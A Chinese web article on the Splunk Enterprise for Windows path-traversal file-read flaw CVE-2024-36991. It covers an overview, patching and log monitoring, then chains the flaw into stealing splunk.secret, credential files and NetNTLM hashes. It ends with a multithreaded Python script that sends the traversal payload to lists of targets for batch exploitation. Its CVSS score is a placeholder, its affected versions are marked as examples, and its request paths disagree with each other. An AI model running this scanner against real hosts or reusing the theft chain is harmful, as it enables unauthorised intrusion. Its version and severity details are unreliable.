#渗透测试#批量漏洞挖掘#Splunk Enterprise for Windows 任意文件读取漏洞( CVE-2024-36991)

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。

目录

一、漏洞概述

二、技术原理分析

三、受影响版本

四、修复建议

五、验证方法

六、漏洞拓展影响

七、漏洞检测脚本


一、漏洞概述

  • CVE编号:CVE-2024-36991
  • 漏洞类型:任意文件读取 (Arbitrary File Read)
  • 影响组件:Splunk Enterprise for Windows版本的Web接口
  • CVSS评分:[需参考NVD/NIST官方评分,典型文件读取漏洞通常在7.0-8.0间]

二、技术原理分析

  1. 根本原因
    路径遍历漏洞,攻击者通过构造恶意请求绕过路径访问限制,利用Windows文件系统特性读取未授权文件。例如:

GET /splunkd/__raw/servicesNS/-/-/debug/file?path=C:\Windows\system32\drivers\etc\hosts HTTP/1.1
  1. 服务端未对path参数进行规范化处理,导致可读取系统文件。

  2. 利用条件

    • 攻击者需具备低权限账户或利用未认证接口(视具体漏洞而定)
    • 目标系统运行Windows平台下的受影响Splunk版本

三、受影响版本

根据Splunk安全公告,确认受影响版本(示例):

  • Splunk Enterprise 9.0.x(Windows版,低于9.0.5)
  • Splunk Enterprise 8.2.x(Windows版,低于8.2.11)

四、修复建议

  1. 官方补丁升级
# 检查当前Splunk版本
& "$SPLUNK_HOME\bin\splunk" --version

# 下载对应版本的安全更新包
# 例如9.0.x系列的修复版本为9.0.5

临时缓解措施(如无法立即升级):

  • 在网络层限制对Splunk Web接口(默认8000端口)的访问范围
  • 启用Splunk内置的访问控制策略,严格限制API接口权限
  • 监控异常文件访问日志:
index=_internal source=*web_service.log  uri=*file* (status=200 OR status=403) 
| stats count by clientip, path

五、验证方法

通过查询系统注册表确认补丁生效:

# Windows系统查看Splunk安装版本
Get-ItemProperty HKLM:\Software\Wow6432Node\SplunkInstaller | Select SplunkVersion

六、漏洞拓展影响

可能被利用组合攻击的场景:

  1. 读取$SPLUNK_HOME\etc\passwd获取加密凭据
  2. 窃取c:\ProgramData\Splunk\etc\auth\splunk.secret 密钥文件
  3. 横向移动获取NetNTLM哈希(需配合Responder工具)

建议企业用户优先在安全测试环境验证修复方案,并同步检查所有Splunk节点(包括Search Head/Indexer/Forwarder)的版本一致性。

七、漏洞检测脚本

#!/usr/bin/env python3 
"""
Splunk Enterprise for Windows 任意文件读取漏洞检测工具(优化版)
功能增强:
1. 支持多线程批量检测 
2. 增加HTTPS协议优先级 
3. 添加结果保存功能 
4. 改进漏洞特征检测 
5. 支持代理配置 
"""
 
import argparse 
import requests 
import sys 
import os 
from concurrent.futures  import ThreadPoolExecutor, as_completed 
from urllib3.exceptions  import InsecureRequestWarning 
 
# 禁用SSL警告 
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 
 
# 颜色配置 
COLOR_CONFIG = {
    'RED': '\033[91m',
    'GREEN': '\033[92m',
    'YELLOW': '\033[93m',
    'RESET': '\033[0m'
}
 
# 漏洞检测配置 
DETECTION_CONFIG = {
    'timeout': 15,
    'max_redirects': 0,
    'vuln_signatures': ['[fonts]', '[extensions]', 'file://'],
    'path_traversal_depth': 10,  # 目录遍历层级 
    'default_ports': [8000, 8080, 443]  # 默认尝试端口 
}
 
def color_print(text, color=None):
    """彩色输出封装"""
    if color and COLOR_CONFIG.get(color.upper()): 
        return f"{COLOR_CONFIG[color.upper()]}{text}{COLOR_CONFIG['RESET']}"
    return text 
 
def construct_url(base_url):
    """智能处理URL格式"""
    base_url = base_url.strip() 
    if not base_url.startswith(('http://',  'https://')):
        for port in DETECTION_CONFIG['default_ports']:
            if f':{port}' in base_url:
                return f'https://{base_url}'
        return f'http://{base_url}'
    return base_url 
 
def check_file_read(target_url, proxies=None, timeout=None):
    """执行漏洞检测核心逻辑"""
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Accept-Encoding': 'gzip, deflate'
    }
    
    # 动态构造路径遍历 
    traversal_path = '/C:%2e%2e' * DETECTION_CONFIG['path_traversal_depth']
    exploit_url = f"{target_url.rstrip('/')}/en-US/modules/messaging{traversal_path}/windows/win.ini" 
 
    try:
        response = requests.get( 
            exploit_url,
            headers=headers,
            verify=False,
            timeout=timeout or DETECTION_CONFIG['timeout'],
            allow_redirects=DETECTION_CONFIG['max_redirects'],
            proxies=proxies 
        )
 
        # 增强特征检测 
        vuln_detected = all(
            sig in response.text  for sig in DETECTION_CONFIG['vuln_signatures']
        ) if response.status_code  == 200 else False 
 
        return {
            'url': target_url,
            'status': 'VULNERABLE' if vuln_detected else 'SAFE',
            'status_code': response.status_code, 
            'content_length': len(response.text), 
            'response_sample': response.text[:100] 
        }
 
    except requests.RequestException as e:
        return {
            'url': target_url,
            'error': str(e)
        }
 
def process_results(results, output_file=None):
    """处理并输出检测结果"""
    for result in results:
        if 'error' in result:
            print(f"{color_print('[!]', 'YELLOW')} {result['url']} 检测失败: {result['error']}")
            continue 
 
        status_msg = color_print('[+] 存在漏洞', 'RED') if result['status'] == 'VULNERABLE' else '[-] 未检测到漏洞'
        info_msg = f"状态码: {result['status_code']} | 响应长度: {result['content_length']} | 响应摘要: {result['response_sample']}"
 
        print(f"{status_msg} - {result['url']}\n   {info_msg}")
 
        if output_file:
            with open(output_file, 'a') as f:
                f.write(f"{result['url']},{result['status']}\n") 
 
def main():
    parser = argparse.ArgumentParser(description='Splunk Enterprise 任意文件读取漏洞检测工具')
    parser.add_argument('-u',  '--url', help='单个目标URL')
    parser.add_argument('-f',  '--file', help='包含多个URL的文件')
    parser.add_argument('-t',  '--threads', type=int, default=5, help='并发线程数 (默认: 5)')
    parser.add_argument('-o',  '--output', help='结果输出文件')
    parser.add_argument('--timeout',  type=int, default=15, help='请求超时时间 (默认: 15秒)')
    parser.add_argument('--proxy',  help='使用代理 (示例: http://127.0.0.1:8080)')
    args = parser.parse_args() 
 
    # 参数校验 
    if not args.url  and not args.file: 
        parser.error(' 必须指定 -u/--url 或 -f/--file 参数')
 
    # 配置代理 
    proxies = {'http': args.proxy,  'https': args.proxy}  if args.proxy  else None 
 
    # 准备目标列表 
    targets = []
    if args.url: 
        targets.append(construct_url(args.url)) 
    if args.file: 
        if not os.path.exists(args.file): 
            sys.exit(color_print(f" 错误: 文件 {args.file}  不存在", 'RED'))
        
        with open(args.file,  'r') as f:
            targets.extend([construct_url(line)  for line in f if line.strip()  and not line.startswith('#')]) 
 
    # 执行并发检测 
    results = []
    with ThreadPoolExecutor(max_workers=args.threads)  as executor:
        futures = {executor.submit(check_file_read,  url, proxies, args.timeout):  url for url in targets}
        
        for future in as_completed(futures):
            results.append(future.result()) 
 
    # 处理结果输出 
    process_results(results, args.output) 
 
if __name__ == '__main__':
    main()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/965965.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

读书笔记--分布式架构的异步化和缓存技术原理及应用场景

本篇是在上一篇的基础上,主要对分布式应用架构下的异步化机制和缓存技术进行学习,主要记录和思考如下,供大家学习参考。大家知道原来传统的单一WAR应用中,由于所有数据都在同一个数据库中,因此事务问题一般借助数据库事…

【提示词工程】探索大语言模型的参数设置:优化提示词交互的技巧

在与大语言模型(Large Language Model, LLM)进行交互时,提示词的设计和参数设置直接影响生成内容的质量和效果。无论是通过 API 调用还是直接使用模型,掌握模型的参数配置方法都至关重要。本文将为您详细解析常见的参数设置及其应用场景,帮助您更高效地利用大语言模型。 …

(七)QT——消息事件机制&绘图&文件

目录 前言 消息事件机制 (Event System) 绘图 (Graphics & Drawing) 绘图设备 Qt 提供的主要绘图设备 Qt 主要绘图设备的特点 各个绘图设备的详细介绍 文件处理 (File Handling) 总结 前言 QT 是一个非常强大的图形用户界面(GUI)开发框架&…

ChatGPT提问技巧:行业热门应用提示词案例-文案写作

ChatGPT 作为强大的 AI 语言模型,已经成为文案写作的得力助手。但要让它写出真正符合你需求的文案,关键在于如何与它“沟通”,也就是如何设计提示词(Prompt)。以下是一些实用的提示词案例,帮助你解锁 ChatG…

C++服务端开发注意事项总结

文章目录 一、架构设计1. 选择合适的网络框架2. 确定并发模型3. 模块化设计 二、性能优化1. 优化内存管理2. 减少锁的使用3. 优化网络通信 三、安全性1. 输入验证2. 使用安全的通信协议3. 防止拒绝服务攻击(DoS) 四、可维护性1. 日志记录2. 代码注释3. 单…

idea中git的简单使用

提交,推送直接合并 合到哪个分支就到先切到哪个分支

Kubernetes 中 BGP 与二层网络的较量:究竟孰轻孰重?

如果你曾搭建过Kubernetes集群,就会知道网络配置是一个很容易让人深陷其中的领域。在负载均衡器、服务通告和IP管理之间,你要同时应对许多变动的因素。对于许多配置而言,使用二层(L2)网络就完全能满足需求。但边界网关协议(BGP)—— 支撑互联网运行的技术 —— 也逐渐出…

LSSVM最小二乘支持向量机多变量多步光伏功率预测(Matlab)

代码下载:LSSVM最小二乘支持向量机多变量多步光伏功率预测(Matlab) LSSVM最小二乘支持向量机多变量多步光伏功率预测 一、引言 1.1、研究背景与意义 随着全球能源危机和环境问题的日益严重,可再生能源的开发利用成为了世界各国…

docker容器运行时忘了加自动重启命令了,之后如何添加自动重启命令,使其随开机自动重启

要让已有的Docker容器在系统重启后自动启动,可以通过以下步骤设置其重启策略: 步骤 1:查找容器名称或ID docker ps -a找到目标容器的ID或名称。 步骤 2:更新容器的重启策略 使用 docker update 命令直接修改容器的重启策略&am…

第16章 Single Thread Execution设计模式(Java高并发编程详解:多线程与系统设计)

简单来说, Single Thread Execution就是采用排他式的操作保证在同一时刻只能有一个线程访问共享资源。 1.机场过安检 1.1非线程安全 先模拟一个非线程安全的安检口类,旅客(线程)分别手持登机牌和身份证接受工作人员的检查,示例代码如所示。…

深度学习:解码智能的“数字炼金术”

深度学习:解码智能的“数字炼金术” 1943年,当神经科学家沃伦麦卡洛克和数学家沃尔特皮茨在论文中首次提出人工神经元模型时,他们或许没有想到,这个简单的数学公式会在80年后掀起改变人类文明的技术革命。深度学习作为这场革命的…

让文物“活”起来,以3D数字化技术传承文物历史文化!

文物,作为不可再生的宝贵资源,其任何毁损都是无法逆转的损失。然而,当前文物保护与修复领域仍大量依赖传统技术,同时,文物管理机构和专业团队的力量相对薄弱,亟需引入数字化管理手段以应对挑战。 积木易搭…

pytest-xdist 进行多进程并发测试

在自动化测试中,运行时间过长往往是令人头疼的问题。你是否遇到过执行 Pytest 测试用例时,整个测试流程缓慢得让人抓狂?别担心,pytest-xdist 正是解决这一问题的利器!它支持多进程并发执行,能够显著加快测试…

广度优先搜索(BFS)算法详解——以走迷宫问题为例

引言:当算法遇见迷宫 想象你置身于一个复杂的迷宫,如何在最短时间内找到出口?这个问题不仅存在于童话故事中,更是计算机科学中经典的路径搜索问题。本文将带你通过走迷宫问题,深入理解广度优先搜索(BFS&am…

kubeadm构建k8s源码阅读环境

目标 前面看了minikube的源码了解到其本质是调用了kubeadm来启动k8s集群,并没有达到最初看代码的目的。 所以继续看看kubeadm的代码,看看能否用来方便地构建源码调试环境。 k8s源码编译 kubeadm源码在k8s源码库中,所以要先克隆k8s源码。之…

BFS算法篇——广度优先搜索,探索未知的旅程(上)

文章目录 前言一、BFS的思路二、BFS的C语言实现1. 图的表示2. BFS的实现 三、代码解析四、输出结果五、总结 前言 广度优先搜索(BFS)是一种广泛应用于图论中的算法,常用于寻找最短路径、图的遍历等问题。与深度优先搜索(DFS&…

baigeiRSA

baigeiRSA 打开附件有两个: 1.import libnumfrom Crypto.Util import numberfrom secret import flag​size 128e 65537p number.getPrime(size)q number.getPrime(size)n p*q​m libnum.s2n(flag)c pow(m, e, n)​print(n %d % n)print(c %d % c)​​2.n…

脚本一键生成管理下游k8s集群的kubeconfig

一、场景 1.1 需要管理下游k8s集群的场景。 1.2 不希望使用默认的cluster-admin权限的config. 二、脚本 **重点参数: 2.1 配置变量。 1、有单独namespace的权限和集群只读权限。 2、自签名的CA证书位置要正确。 2.2 如果配置错误,需要重新…

camera光心检测算法

1.概要 光心检测算法,基于opencv c实现,便于模组厂快速集成到软件工具中,适用于camera模组厂算法评估组装制程镜头与sensor的偏心程度,便于工程师了解制程的问题找出改善方向。 2.技术介绍 下图为camera模组厂抓取的bayer-raw经过…

基于logback+fastjson实现日志脱敏

一、需求背景 日常工作中,必不可免的会将一些敏感信息,如用户名、密码、手机号、身份证号、银行账号等等打印出来,但往往为了安全,这些信息都需要进行脱敏。脱敏实际就是用一些特殊字符来替换部分值。 JSON 和 JSONObject Fastj…